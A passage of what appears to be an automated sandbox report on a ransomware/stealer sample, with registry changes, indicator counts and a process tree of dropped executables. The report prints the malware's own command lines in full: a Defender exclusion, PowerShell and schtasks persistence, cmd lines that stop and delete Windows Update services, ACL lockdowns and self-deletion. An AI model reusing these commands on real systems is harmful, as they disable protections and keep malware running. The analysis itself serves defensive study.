\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1" PaintStudio.View.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache PaintStudio.View.exe Set value (str) \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" PaintStudio.View.exe Set value (str) \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" PaintStudio.View.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\Content PaintStudio.View.exe Set value (int) \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.mspaint_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" PaintStudio.View.exe Key created \REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance Explorer.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 700 NOTEPAD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
PaintStudio.View.exepid process 3648 PaintStudio.View.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exeExplorer.EXEpid process 1436 a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe 1436 a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 2536 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe1D8.exeutwathgpid process 1436 a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe 4680 1D8.exe 5088 utwathg -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Explorer.EXEfirefox.exedescription pid process Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeDebugPrivilege 1564 firefox.exe Token: SeDebugPrivilege 1564 firefox.exe Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE Token: SeShutdownPrivilege 2536 Explorer.EXE Token: SeCreatePagefilePrivilege 2536 Explorer.EXE -
Suspicious use of FindShellTrayWindow 15 IoCs
Processes:
Explorer.EXEfirefox.exerundll32.exepid process 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 1564 firefox.exe 1564 firefox.exe 1564 firefox.exe 1564 firefox.exe 1368 rundll32.exe 2536 Explorer.EXE 2536 Explorer.EXE -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
Explorer.EXEfirefox.exepid process 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 1564 firefox.exe 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 2536 Explorer.EXE 1564 firefox.exe 2536 Explorer.EXE 1564 firefox.exe 2536 Explorer.EXE 2536 Explorer.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
firefox.exemspaint.exeExplorer.EXEPaintStudio.View.exepid process 1564 firefox.exe 2244 mspaint.exe 2536 Explorer.EXE 3648 PaintStudio.View.exe 3648 PaintStudio.View.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Explorer.EXEF2B2.exeF4C6.exeF4C6.exeF2B2.exeFB6E.execacls.exeFB6E.exedescription pid process target process PID 2536 wrote to memory of 4652 2536 Explorer.EXE F2B2.exe PID 2536 wrote to memory of 4652 2536 Explorer.EXE F2B2.exe PID 2536 wrote to memory of 4652 2536 Explorer.EXE F2B2.exe PID 2536 wrote to memory of 1128 2536 Explorer.EXE F4C6.exe PID 2536 wrote to memory of 1128 2536 Explorer.EXE F4C6.exe PID 2536 wrote to memory of 1128 2536 Explorer.EXE F4C6.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 4652 wrote to memory of 3548 4652 F2B2.exe F2B2.exe PID 2536 wrote to memory of 3680 2536 Explorer.EXE FB6E.exe PID 2536 wrote to memory of 3680 2536 Explorer.EXE FB6E.exe PID 2536 wrote to memory of 3680 2536 Explorer.EXE FB6E.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1128 wrote to memory of 1216 1128 F4C6.exe F4C6.exe PID 1216 wrote to memory of 3504 1216 F4C6.exe icacls.exe PID 1216 wrote to memory of 3504 1216 F4C6.exe icacls.exe PID 1216 wrote to memory of 3504 1216 F4C6.exe icacls.exe PID 3548 wrote to memory of 2732 3548 F2B2.exe icacls.exe PID 3548 wrote to memory of 2732 3548 F2B2.exe icacls.exe PID 3548 wrote to memory of 2732 3548 F2B2.exe icacls.exe PID 2536 wrote to memory of 4680 2536 Explorer.EXE 1D8.exe PID 2536 wrote to memory of 4680 2536 Explorer.EXE 1D8.exe PID 2536 wrote to memory of 4680 2536 Explorer.EXE 1D8.exe PID 3548 wrote to memory of 516 3548 F2B2.exe cacls.exe PID 3548 wrote to memory of 516 3548 F2B2.exe cacls.exe PID 3548 wrote to memory of 516 3548 F2B2.exe cacls.exe PID 1216 wrote to memory of 4324 1216 F4C6.exe F4C6.exe PID 1216 wrote to memory of 4324 1216 F4C6.exe F4C6.exe PID 1216 wrote to memory of 4324 1216 F4C6.exe F4C6.exe PID 2536 wrote to memory of 4396 2536 Explorer.EXE 2BB7.exe PID 2536 wrote to memory of 4396 2536 Explorer.EXE 2BB7.exe PID 2536 wrote to memory of 4396 2536 Explorer.EXE 2BB7.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 3680 wrote to memory of 4756 3680 FB6E.exe FB6E.exe PID 516 wrote to memory of 3344 516 cacls.exe F2B2.exe PID 516 wrote to memory of 3344 516 cacls.exe F2B2.exe PID 516 wrote to memory of 3344 516 cacls.exe F2B2.exe PID 4756 wrote to memory of 5096 4756 FB6E.exe FB6E.exe PID 4756 wrote to memory of 5096 4756 FB6E.exe FB6E.exe PID 4756 wrote to memory of 5096 4756 FB6E.exe FB6E.exe PID 516 wrote to memory of 3344 516 cacls.exe F2B2.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Deletes itself
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe"C:\Users\Admin\AppData\Local\Temp\a1b74723944b8f8f5319766bb763f496a67f31acc53bd54813966b19df14f71a.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\F2B2.exeC:\Users\Admin\AppData\Local\Temp\F2B2.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F2B2.exeC:\Users\Admin\AppData\Local\Temp\F2B2.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\6238b335-d0b4-4d4b-9153-a4eff8f71278" /deny *S-1-1-0:(OI)(CI)(DE,DC)4⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\F2B2.exe"C:\Users\Admin\AppData\Local\Temp\F2B2.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\Temp\F2B2.exe"C:\Users\Admin\AppData\Local\Temp\F2B2.exe" --Admin IsNotAutoStart IsNotTask5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\99b8a7c8-76b0-47d3-9f77-779e73107825\build2.exe"C:\Users\Admin\AppData\Local\99b8a7c8-76b0-47d3-9f77-779e73107825\build2.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\99b8a7c8-76b0-47d3-9f77-779e73107825\build2.exe"C:\Users\Admin\AppData\Local\99b8a7c8-76b0-47d3-9f77-779e73107825\build2.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\99b8a7c8-76b0-47d3-9f77-779e73107825\build3.exe"C:\Users\Admin\AppData\Local\99b8a7c8-76b0-47d3-9f77-779e73107825\build3.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\F4C6.exeC:\Users\Admin\AppData\Local\Temp\F4C6.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F4C6.exeC:\Users\Admin\AppData\Local\Temp\F4C6.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\385cdd6c-3f31-40ea-8de8-4b33c0f85a26" /deny *S-1-1-0:(OI)(CI)(DE,DC)4⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\F4C6.exe"C:\Users\Admin\AppData\Local\Temp\F4C6.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\F4C6.exe"C:\Users\Admin\AppData\Local\Temp\F4C6.exe" --Admin IsNotAutoStart IsNotTask5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\378a39ed-ad55-4f25-b957-e9c5cf0c6c8b\build3.exe"C:\Users\Admin\AppData\Local\378a39ed-ad55-4f25-b957-e9c5cf0c6c8b\build3.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\378a39ed-ad55-4f25-b957-e9c5cf0c6c8b\build2.exe"C:\Users\Admin\AppData\Local\378a39ed-ad55-4f25-b957-e9c5cf0c6c8b\build2.exe"6⤵
-
C:\Users\Admin\AppData\Local\378a39ed-ad55-4f25-b957-e9c5cf0c6c8b\build2.exe"C:\Users\Admin\AppData\Local\378a39ed-ad55-4f25-b957-e9c5cf0c6c8b\build2.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\378a39ed-ad55-4f25-b957-e9c5cf0c6c8b\build2.exe" & exit8⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\FB6E.exeC:\Users\Admin\AppData\Local\Temp\FB6E.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FB6E.exeC:\Users\Admin\AppData\Local\Temp\FB6E.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FB6E.exe"C:\Users\Admin\AppData\Local\Temp\FB6E.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\FB6E.exe"C:\Users\Admin\AppData\Local\Temp\FB6E.exe" --Admin IsNotAutoStart IsNotTask5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\884ab080-8a54-4f26-89d7-5f050d28479f\build2.exe"C:\Users\Admin\AppData\Local\884ab080-8a54-4f26-89d7-5f050d28479f\build2.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\884ab080-8a54-4f26-89d7-5f050d28479f\build2.exe"C:\Users\Admin\AppData\Local\884ab080-8a54-4f26-89d7-5f050d28479f\build2.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\884ab080-8a54-4f26-89d7-5f050d28479f\build2.exe" & exit8⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\884ab080-8a54-4f26-89d7-5f050d28479f\build3.exe"C:\Users\Admin\AppData\Local\884ab080-8a54-4f26-89d7-5f050d28479f\build3.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1D8.exeC:\Users\Admin\AppData\Local\Temp\1D8.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\2BB7.exeC:\Users\Admin\AppData\Local\Temp\2BB7.exe2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 4843⤵
- Program crash
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\5E4D.exeC:\Users\Admin\AppData\Local\Temp\5E4D.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Player3.exe"C:\Users\Admin\AppData\Local\Temp\Player3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F5⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "nbveek.exe" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "nbveek.exe" /P "Admin:R" /E6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\16de06bfb4" /P "Admin:N"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\16de06bfb4" /P "Admin:R" /E6⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main5⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main6⤵
- Loads dropped DLL
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3336 -s 5967⤵
- Program crash
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\ss31.exe"C:\Users\Admin\AppData\Local\Temp\ss31.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exe"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\8A11.exeC:\Users\Admin\AppData\Local\Temp\8A11.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Otpsrodoserw.dll,start3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 224074⤵
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\8D0F.exeC:\Users\Admin\AppData\Local\Temp\8D0F.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Player3.exe"C:\Users\Admin\AppData\Local\Temp\Player3.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 14363⤵
- Program crash
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
